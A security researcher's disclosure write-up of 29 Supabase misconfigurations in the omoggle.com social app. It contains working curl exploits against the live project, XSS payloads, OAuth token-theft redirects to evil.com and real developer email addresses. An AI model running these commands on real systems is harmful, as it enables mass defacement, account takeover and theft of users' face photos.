omoggle — 29 vulns in a Supabase social app, including IDOR on a writable view that owns 405k profiles
omoggle.com is a Next.js social/leaderboard thing built on Supabase. The owner asked me to look at it (authorized pentest, goal: see what someone could do to the database). I went in expecting to find one or two minor things and bounce out. What I found was a single missing RLS policy that lets any anonymous account edit the profile of every one of the 405,343 users on the platform, plus 28 other things stacked behind it.
The headline bug is not exotic — it’s a writable database view with no RLS on UPDATE/DELETE. The blast radius is the entire user base. Writing it up because (a) it’s an instructive Supabase footgun and (b) the same misconfiguration is everywhere in apps that lean on PostgREST + a permissive leaderboard_view-style query. Then the owner shipped a partial patch and I went back for round two, which turned up an OAuth open-redirect that gives full account takeover, a writable match_history table that lets you inject permanent fake matches, and a public avatars bucket that lets anyone download every user’s face. So the count grew from 24 to 29.
the stack
Frontend ─► Next.js (App Router) on Vercel
Backend ─► Supabase: PostgreSQL + PostgREST + GoTrue + Storage
Auth ─► Supabase GoTrue (Google OAuth, email, anonymous sign-up)
Realtime ─► LiveKit (video)
Payments ─► Stripe
The interesting part is PostgREST. Supabase auto-exposes every table and view in the public schema as a REST endpoint at /rest/v1/<name>, with row-level security gating who can read/write. If RLS is missing or weak, any client with the public anon key can hit the table directly, ignoring the Next.js app entirely.
recon — getting an anon JWT
Anonymous sign-up is enabled on this Supabase project, which means I don’t even need an email to get a valid JWT:
curl -s -X POST "https://yejuwrlzxfcuhdahypuo.supabase.co/auth/v1/signup" \
-H "apikey: $ANON_KEY" \
-H "Content-Type: application/json" \
-d '{}' | jq .access_token
That’s a session token I can attach to PostgREST requests. From here on, every request goes:
?apikey=$ANON_KEY + Authorization: Bearer $JWT
Even though I’m “authenticated”, I’m an anonymous user whose UUID has zero relationship to any of the 405k real accounts. And there’s no rate limit on signup — every request can use a fresh JWT.
the schema, for free
PostgREST has this charming feature: when you query a nonexistent table, it tells you which existing tables you might have meant.
$ curl "https://...supabase.co/rest/v1/sanctions" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $JWT"
{"hint": "Perhaps you meant the table 'public.user_sanctions'"}
Run that against a few hundred plausible names (reports, cases, leaderboard, audit, events, payments, …) and you reconstruct the entire 24-table schema without any privileges:
profiles, leaderboard_view, profile_comments, matches, match_history,
user_reports, matchmaking_queue, user_sanctions, security_events,
purchases, match_result_submissions, ban_appeals, elo_events,
elo_audit_log, verification_sessions, app_runtime_flags,
profile_season_awards, moderation_cases, stripe_webhook_events,
lab_report_assets, profile_comment_votes, match_player_ratings,
season_leaderboard_archive, waitlist
Half of these are RLS-locked (good), but already this tells me where the moderation tables live, where Stripe webhook events get logged, where audit trails are written. None of that’s catastrophic on its own — but it’s useful inventory and it shouldn’t be free.
The same hint behavior leaks RPC function signatures when you call a wrong-shape RPC:
| function | signature | access |
|---|---|---|
resolve_match_elo | (player_1_id uuid, player_2_id uuid, winner_id uuid) | 403 |
resolve_match_elo | (player_1_id text, player_2_id text, winner_id text, match_id uuid) | 403 |
resolve_match_abandon_elo | (abandoned_player_id, match_id) | 403 |
reset_season_elo | (p_season_key) | 403 |
set_profile_comment_vote | (p_comment_id, p_vote_value, p_voter_id) | CALLABLE |
cleanup_stale_matches | (no params) | 403 |
rls_auto_enable | (unknown) | 403 |
Most are 403 but knowing the signatures is reconnaissance for the next time someone misconfigures an RLS check. The one that’s CALLABLE matters in a moment.
the main event — IDOR via leaderboard_view
leaderboard_view is a SQL view joining profiles with some derived columns (rank, season). The Next.js app uses it for the public leaderboard. Easy way to query 405k rows in one trip without exposing private columns. So far so good.
The catch: PostgREST treats views the same as tables for write operations. If a view has no INSTEAD OF trigger and no RLS on UPDATE/DELETE, PostgREST will happily PATCH and DELETE through it to the underlying table. The dev seemingly thought of leaderboard_view as read-only because the SELECT side hides sensitive columns. But there was nothing actually preventing writes.
Test:
TARGET_UUID="<any-uuid-from-the-leaderboard>"
curl -s -X PATCH \
"https://...supabase.co/rest/v1/leaderboard_view?id=eq.$TARGET_UUID" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $JWT" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"display_name":"owned","avatar_url":"https://evil.example/x.jpg"}'
Returns 200. The user’s profile now says “owned” and points at my avatar.
A DELETE works too:
curl -s -X DELETE \
"https://...supabase.co/rest/v1/leaderboard_view?id=eq.$TARGET_UUID" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $JWT"
- Their row is gone.
Some columns are protected — elo_rating, total_wins, is_pro blow up with a trigger error if you try to PATCH them. But the columns that aren’t protected (display_name, avatar_url, created_at) are exactly the ones useful for griefing.
Three columns × 405,343 users = a lot of damage potential. And a single curl renames everyone:
curl -X PATCH "$URL/rest/v1/leaderboard_view?elo_rating=gt.-99999" \
-H "apikey: $APIKEY" -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"display_name":"HACKED"}'
stored XSS, layered on top
display_name has no validation — not in the database, not on the API, not even client-side past trimming whitespace. The /api/profile endpoint does sanitize names (strips HTML, regex check, blocklist) — but the IDOR above bypasses the API entirely. Combined with the IDOR I can drop arbitrary HTML into anyone’s name:
# /api/profile rejects:
curl -X POST "https://omoggle.com/api/profile" \
-H "Authorization: Bearer $TOKEN" \
-d '{"display_name":"<script>alert(1)</script>"}'
# → {"ok":true,"profile":{"display_name":"MOGGER #12"}} (sanitized)
# leaderboard_view PATCH ignores the API:
curl -X PATCH "$URL/rest/v1/leaderboard_view?id=eq.$TARGET_UUID" \
-H "apikey: $APIKEY" -H "Authorization: Bearer $TOKEN" \
-d '{"display_name":"<img src=x onerror=alert(document.cookie)>"}'
# → HTTP 200, payload stored
React’s default text rendering escapes < so the payload doesn’t fire on the SPA leaderboard page directly. But anywhere the display_name flows out to a non-React surface — moderation emails, CSV exports, the admin dashboard’s dangerouslySetInnerHTML (if any), notification webhooks — it executes.
CSP is set to Content-Security-Policy-Report-Only, which means even a working XSS isn’t blocked, only logged. The Next.js bundle’s Trusted Types policy is also pass-through (createScriptURL: e=>e), so it provides no protection.
OAuth open redirect → token theft (full ATO)
The Supabase GoTrue /auth/v1/authorize endpoint accepts any URL in the redirect_to parameter without validation. After Google OAuth, the user is redirected to the attacker-controlled URL with their access and refresh tokens in the URL fragment.
# All of these pass through. Only `javascript:` returns 403.
curl -s -o /dev/null -w "%{redirect_url}" \
"https://yejuwrlzxfcuhdahypuo.supabase.co/auth/v1/authorize?provider=google&redirect_to=https://evil.com/steal"
# → 302 to Google OAuth
# Bypass shapes that also work:
# https://omoggle.com@evil.com/ (userinfo confusion)
# https://omoggle.com.evil.com/ (subdomain confusion)
# https://evil.com/omoggle.com (path confusion)
# data:text/html,<script>...</script> (data URI = code execution)
Attack flow:
- Send victim
https://yejuwrlzxfcuhdahypuo.supabase.co/auth/v1/authorize?provider=google&redirect_to=https://evil.com/steal. - Victim sees the legitimate Google OAuth page, authorizes (it looks normal — they’re logging in to omoggle, after all).
- Google → Supabase callback → 302 to
https://evil.com/steal#access_token=<JWT>&refresh_token=<TOKEN>. - Attacker captures the fragment. Refresh token = persistent access.
The Google OAuth Client ID is also leaked in the redirect: 202743377432-7t4u9q82rgt89mkab9kocjt4v18pvlc0.apps.googleusercontent.com. Combined with the open redirect, an attacker can clone the OAuth consent screen and mount convincing consent-phishing.
The OAuth flow also has no PKCE — response_type=code, no code_challenge, no code_challenge_method. A bare authorization-code grant. So an intercepted code is directly exchangeable. The whole flow leans on a single server-side state check.
The auth callback handler also performs zero validation of the state parameter and renders the error_description query parameter back to the user — crafted URLs like https://omoggle.com/auth/callback?error_description=Account+suspended display attacker-controlled text (React-escaped, so no XSS, but phishing-viable).
Fix: configure GOTRUE_URI_ALLOW_LIST in the Supabase dashboard to https://omoggle.com/*. Reject everything else.
fake lab reports via URL parameter
The /lab page accepts a ?stats=<URL-encoded-JSON> query parameter and renders arbitrary scoring data with zero validation, no HMAC, and no server round-trip.
https://omoggle.com/lab?stats=%7B%22overall%22:9.9%7D
Anyone can craft a URL like that, screenshot the resulting “perfect score” lab report, and share it as a “real” report. No integrity check whatsoever. Combined with the next bug, the receiver can even verify it’s “in the database.”
match_history INSERT — fake match results, stored XSS, undeletable
Any anonymous user can INSERT arbitrary records into match_history via the Supabase REST API. RLS only enforces user_id = auth.uid(), but even anonymous accounts have a uid, so they can insert “matches” for themselves at will:
curl -X POST "$URL/rest/v1/match_history" \
-H "apikey: $APIKEY" -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"user_id":"<own-uid>","user_score":9.9,"opponent_score":1.0,
"dominant_trait":"<script>alert(1)</script>",
"stats_json":"{\"overall\":9.9}"}'
# → HTTP 201; record created, permanent, undeletable
What works:
- Insert fake wins with fabricated scores in the
numeric(6,4)range. - Store XSS payloads in
dominant_trait,fatal_flaw,stats_json. No input validation at all. - Store strings up to 10K+ characters in text fields.
- 10/10 rapid inserts succeed in ~9.3s. No rate limiting.
- DELETE and PATCH on these inserted rows both return 403 — the records are permanent.
Impact compounds with the lab page: /api/lab/report?matchId=<injected> returns “Report is locked”, not 404 — the lab system sees the injected match as real. The undeletable XSS lands in any context that renders dominant_trait without escaping (admin dashboards, emails, exports). And because nothing can delete these rows, you get permanent DB pollution.
vote impersonation via set_profile_comment_vote
The RPC function set_profile_comment_vote(p_comment_id, p_vote_value, p_voter_id) is callable by any authenticated user (including anonymous sessions) and performs no authorization check that the caller is the voter. The p_voter_id parameter accepts any UUID in the profiles table.
# Vote as "sky", "mnesa", "keke" from a single anonymous session
for VOTER_ID in 9bda1b11-... a0ade930-... ddeb62ec-...; do
curl -X POST "$URL/rest/v1/rpc/set_profile_comment_vote" \
-H "apikey: $APIKEY" -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"p_comment_id\":\"4d851e12-...\",
\"p_vote_value\":1,
\"p_voter_id\":\"$VOTER_ID\"}"
done
# upvote_count went 2 → 3 → 4 → 5
Three votes from real users on the same comment, all from one anonymous attacker session. Sybil-style vote stuffing is also trivial because anonymous account creation isn’t rate-limited. Verified at scale: 5 concurrent anonymous sessions all voted on the same comment, driving the score from 0 → 5; 3 subsequent downvotes brought it to 2.
Fix: replace the p_voter_id parameter with auth.uid() inside the function body.
There’s also a lower-severity sibling: /api/profile-comments/{id}/vote works for anonymous users (votes as yourself, not impersonation, but anon shouldn’t vote at all).
client-side score calculation (potential ELO fraud)
The battle scoring system runs entirely client-side in a Zustand store (chunk 7274):
applyFinalScores: (myScore, opponentScore, isPlayer1) => {
differential = myScore - opponentScore;
result = Math.abs(differential) < 0.05
? "DRAW"
: differential > 0 ? "WIN" : "LOSS";
}
Exposed methods, all callable from the console: setMyScore(value), setOpponentScore(value), applyFinalScores(). The scoring algorithm weights are also fully exposed (chunk 824, module 8436):
| metric | weight |
|---|---|
| symmetry | 0.24 |
| midface ratio | 0.14 + 0.24 |
| canthal tilt | 0.12 |
| jawline | 0.14 |
| cheekbone width | 0.10 |
| eye aspect ratio | 0.08 |
| harmony | 0.18 |
If the server trusts client-reported scores for ELO calculation — and /api/match PUT accepts arbitrary body content with no rebuttal — an attacker can always win by manipulating setMyScore/setOpponentScore before submitting. The architecture trusts the client for results, which is the actual problem regardless of whether the server happens to validate today.
There’s also a score inflation dark pattern in the same module: one-time-report purchasers see artificially inflated scores (top trait clamped to 7.8–9.4), Pro subscribers see raw scores. Users paying $5 per report get flattering numbers to encourage more purchases. Not a security bug, but worth flagging — it’s the same “trust the client / hide things in client logic” pattern manifesting as fraud.
storage avatar IDOR — mass face photo dump
The avatars storage bucket allows:
LISTon the root prefix → enumerate every UUID with an avatar.- Generate signed download URLs for any user’s avatar.
- Direct public download via
/storage/v1/object/public/avatars/<uuid>/avatar.jpg.
# 1. Enumerate all avatar UUIDs
curl -X POST "$URL/storage/v1/object/list/avatars" \
-H "apikey: $APIKEY" -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"prefix":"","limit":1000,"offset":0}'
# 2. Or just access directly
curl "$URL/storage/v1/object/public/avatars/<uuid>/avatar.jpg"
# → HTTP 200, face photo
Combined with leaderboard data (display name + ELO + creation date for every user), the attacker constructs a complete deanonymized biometric database — name, photo, rank, all linked. For a face-rating app, that is the worst possible data shape to leak.
Fix: set avatars to private. Add storage RLS: USING (auth.uid()::text = (storage.foldername(name))[1]). Drop public access.
metadata trick — does it escalate?
Supabase’s auth API exposes a PUT /auth/v1/user endpoint that lets you update your own user_metadata. There’s no allowlist on what keys you can set:
curl -X PUT "https://...supabase.co/auth/v1/user" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $JWT" \
-H "Content-Type: application/json" \
-d '{"data":{"role":"admin","is_admin":true,"account_role":"owner"}}'
After token refresh, the JWT now contains:
{
"user_metadata": {
"account_role": "owner",
"is_admin": true,
"role": "admin"
},
"role": "authenticated",
"sub": "<my-anon-uuid>"
}
The RLS policies are written correctly — they use auth.uid() = id, not auth.jwt() ->> 'role'. So self-promoting to admin in metadata doesn’t unlock new database access. But this is the kind of thing app-level code regularly gets wrong — a single if (user.user_metadata.is_admin) check on a Next.js route, and you’re admin. I logged it as a separate finding even though it didn’t escalate, because it’s exactly the trap the next person doing app code is going to fall into.
match queue grief — DELETE without verification
/api/match POST requires the user be verified. DELETE /api/match does not. Any anonymous unverified user can repeatedly kick targeted players from the matchmaking queue:
TOKEN=$(curl -s -X POST "$URL/auth/v1/signup" -H "apikey: $APIKEY" \
-H "Content-Type: application/json" -d '{}' | jq -r .access_token)
curl -X DELETE "https://omoggle.com/api/match" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"queue_id":"847e4ff7-...-b90107631123"}'
# → {"ok":true}
No verification, no rate limit. Automate it and grief any user every time they rejoin.
The same thing is true of DELETE /api/private-room — returns {"ok":true} for any room_id, even non-existent UUIDs. Combined with social engineering you can kick everyone out of a competitor’s tournament room mid-event.
hardcoded leaks in client JS
Going through the bundled chunks I found admin emails and UUIDs hardcoded in the layout chunk:
const DEV_EMAIL = "benjimontesinos@gmail.com";
const OWNER_EMAIL = "mogged.to@gmail.com";
const DEV_UUIDS = ["1b8ba741-...", "a8385190-..."];
const OWNER_UUIDS = ["9bee3186-...", "4bca941b-..."];
These let me target specific privileged accounts with the IDOR — not for impact, just confirmation. With the owner’s UUID I could verify the IDOR worked on that exact row. The display-name blocklist regex is also exposed (/(ashdfk|ashdfrk|telegram|telegr|t\.me|https?:\/\/|www\.|discord|disct)/i), as are the per-mode face-validation thresholds (default, arena, strict, lab — arena accepts confidence as low as 0.38, useful if you wanted to game submissions).
Vercel deployment ID, Next.js version, React version, LiveKit URL, full Supabase anon key (with exp: 2036) — all in the bundle. Nothing catastrophic individually but it’s the entire infra footprint surfaced for free.
misc — DoS, abuse, info-leak smaller bits
match_result_submissionsDoS. Querying this table causes a server-side statement timeout (HTTP 500, code57014). The RLS policy scan is extremely expensive. Repeated queries from any authenticated session push the DB into stress.- Anonymous comment report abuse.
/api/profile-comments/{id}/reportaccepts reports from anonymous unverified users. Duplicate reports return 409, but creating fresh anonymous sessions bypasses that. Mass-reporting → if there’s an N-reports-auto-hide rule, any comment can be censored. - Heartbeat count inflation.
POST /api/active-users/heartbeatrequires no auth. Spammable to inflate the “live users” counter. - Unlimited anonymous account creation. No CAPTCHA, no rate limit, no IP throttling. Each signup auto-creates a profile row at ELO 400. This is the multiplier that makes everything else worse — every other rate-limited finding becomes unlimited if you cycle a fresh anonymous account per request.
- Lab face data in
localStorage. Full scoring JSON (including facial measurements) cached unencrypted inmogReport_stats. Any XSS exfiltrates face analysis data. - Profile comments fully readable. All 353+ comments readable with
author_id, body,report_count,moderation_reason, status, full metadata. - Own-profile sensitive columns.
SELECT *on your own profile returnsstripe_customer_id,stripe_subscription_id,stripe_subscription_status,is_admin,account_role,email,verification_state. None of these need to be readable from the client.
the “patch” — what they fixed and what they didn’t
The owner DM’d me later in the day to say it was patched. I went back to verify. They added a BEFORE DELETE trigger on the underlying profiles table:
CREATE OR REPLACE FUNCTION block_profile_delete() RETURNS trigger AS $$
BEGIN
RAISE EXCEPTION USING
ERRCODE = 'P0001',
MESSAGE = 'Profile deletes are temporarily locked for incident response. Profile ' || OLD.id;
END; $$ LANGUAGE plpgsql;
So DELETE on leaderboard_view now returns:
HTTP 400
P0001: "Profile deletes are temporarily locked for incident response. Profile 693f0030-..."
Three problems:
- The error message returns the target user’s UUID. Minor info leak — there’s no reason a “blocked” response needs to confirm the row exists.
- The trigger says “temporarily” out loud. The maintainers know it’s not a fix; they wrote it that way. So when DELETE inevitably comes back online without RLS, every existing PoC works again.
- There is no UPDATE policy. No RLS. The actual mass-rename — the bigger of the two original criticals — is still wide open.
A second round of triggers eventually appeared on elo_rating, total_wins, is_pro (the same column-blocking errors above). But not on display_name, avatar_url, or created_at. Verified table:
| column | PATCHable | impact |
|---|---|---|
display_name | YES | mass defacement, stored XSS |
avatar_url | YES | malicious URL injection (also a pivot to the storage bucket bug) |
created_at | YES | timestamp manipulation |
elo_rating | BLOCKED | trigger fires |
total_wins | BLOCKED | trigger fires |
is_pro | BLOCKED | trigger fires |
The patch defended against the part that wasn’t actually the headline, and left the part that was. The right fix is exactly what I sent in the original report:
CREATE POLICY "leaderboard_view_no_update"
ON public.profiles FOR UPDATE TO authenticated, anon USING (auth.uid() = id);
CREATE POLICY "leaderboard_view_no_delete"
ON public.profiles FOR DELETE TO authenticated, anon USING (auth.uid() = id);
— or flip the view to WITH (security_invoker = true) so it inherits the underlying table’s RLS instead of bypassing. One line.
the impact, plainly
What an attacker can do, today, with nothing but a curl one-liner and the public anon key:
- Rewrite the display name and avatar of all 405,343 users to anything they want
- Inject permanent fake
match_historyrecords, including stored XSS indominant_trait/fatal_flawthat admins can’t delete - Hijack any user’s session via the OAuth open-redirect (
access_token + refresh_tokentohttps://evil.example/) - Download every user’s face photo (full biometric DB dump)
- Vote as any user on any comment via the
set_profile_comment_voteRPC - Sybil-vote with unlimited fresh anonymous accounts
- Generate fake “perfect” lab report URLs and corroborate them with injected match history
- Kick targeted users from the matchmaking queue indefinitely
- Inject XSS into any user’s display name (limited blast radius on the React app, full blast radius anywhere else the name flows)
- Dump the entire leaderboard (id, name, ELO, wins, avatar URL, pro status) as CSV
- Enumerate the full database schema and RPC function signatures for free
- Mass-list every user UUID via the storage bucket
What the attacker can’t do — RLS works correctly on the actual profiles table, so private columns (Stripe IDs, is_admin) are not directly readable across users. The schema is leaky, the writable view is open, the OAuth flow leaks tokens, but the underlying table’s policies hold up. That’s the only thing keeping this from being a full database compromise.
the through-line
Two things stuck with me by the time I’d finished round two:
A SQL view feels like a “read endpoint” in your head, but PostgREST treats it as a table for writes too. The mental model gap is exactly where this kind of bug lives. If your view doesn’t have RLS on UPDATE/DELETE, those operations will succeed and write through to the underlying table. Audit every view with pg_class.relkind = 'v' for missing policies before you ship.
The blast radius of a single missing RLS policy in a multi-tenant app is “everyone.” This wasn’t a logic flaw, it wasn’t a complex chain, it wasn’t an auth bypass. It was one row in one config table that nobody wrote. The whole 405k-user platform was guarded by remembering to write that row.
And after the patch round: if the patch you ship is shorter than the writeup of finding the bug, the patch is probably wrong. The DELETE trigger was 8 lines. The bug exists in 1 line of missing RLS. The patch defends against the symptom (rows disappearing) and not the disease (PostgREST treating views as tables for writes). Until the actual RLS policy lands, every variation of this attack will keep working — through the view, through the underlying table, through any future view that joins these columns. The right fix is one line of SQL. The wrong fix is the one that makes the dashboard look fine.
tally
29 unique findings. Critical: leaderboard_view IDOR (mass UPDATE/DELETE), OAuth open redirect → ATO, fake lab report generation, match_history injection, avatar storage IDOR. High: vote impersonation, sybil voting, client-side score manipulation, queue grief, admin metadata injection, score inflation dark pattern, unlimited account creation, incomplete leaderboard_view trigger. Medium: auth-callback phishing, no-PKCE OAuth, private-room delete IDOR, match_result_submissions DoS, anonymous comment report abuse, RPC signature disclosure, profile-comments full read, own-profile sensitive columns, storage UUID enumeration, lab data in localStorage. Low/Info: hardcoded admin identifiers, display-name blocklist exposure, face validation thresholds, heartbeat inflation, anonymous comment vote, CSP report-only, Trusted Types pass-through, checkout session ID echo (returns “pending” for any cs_*).
I forwarded everything to the owner with the same one-line fixes. We’ll see.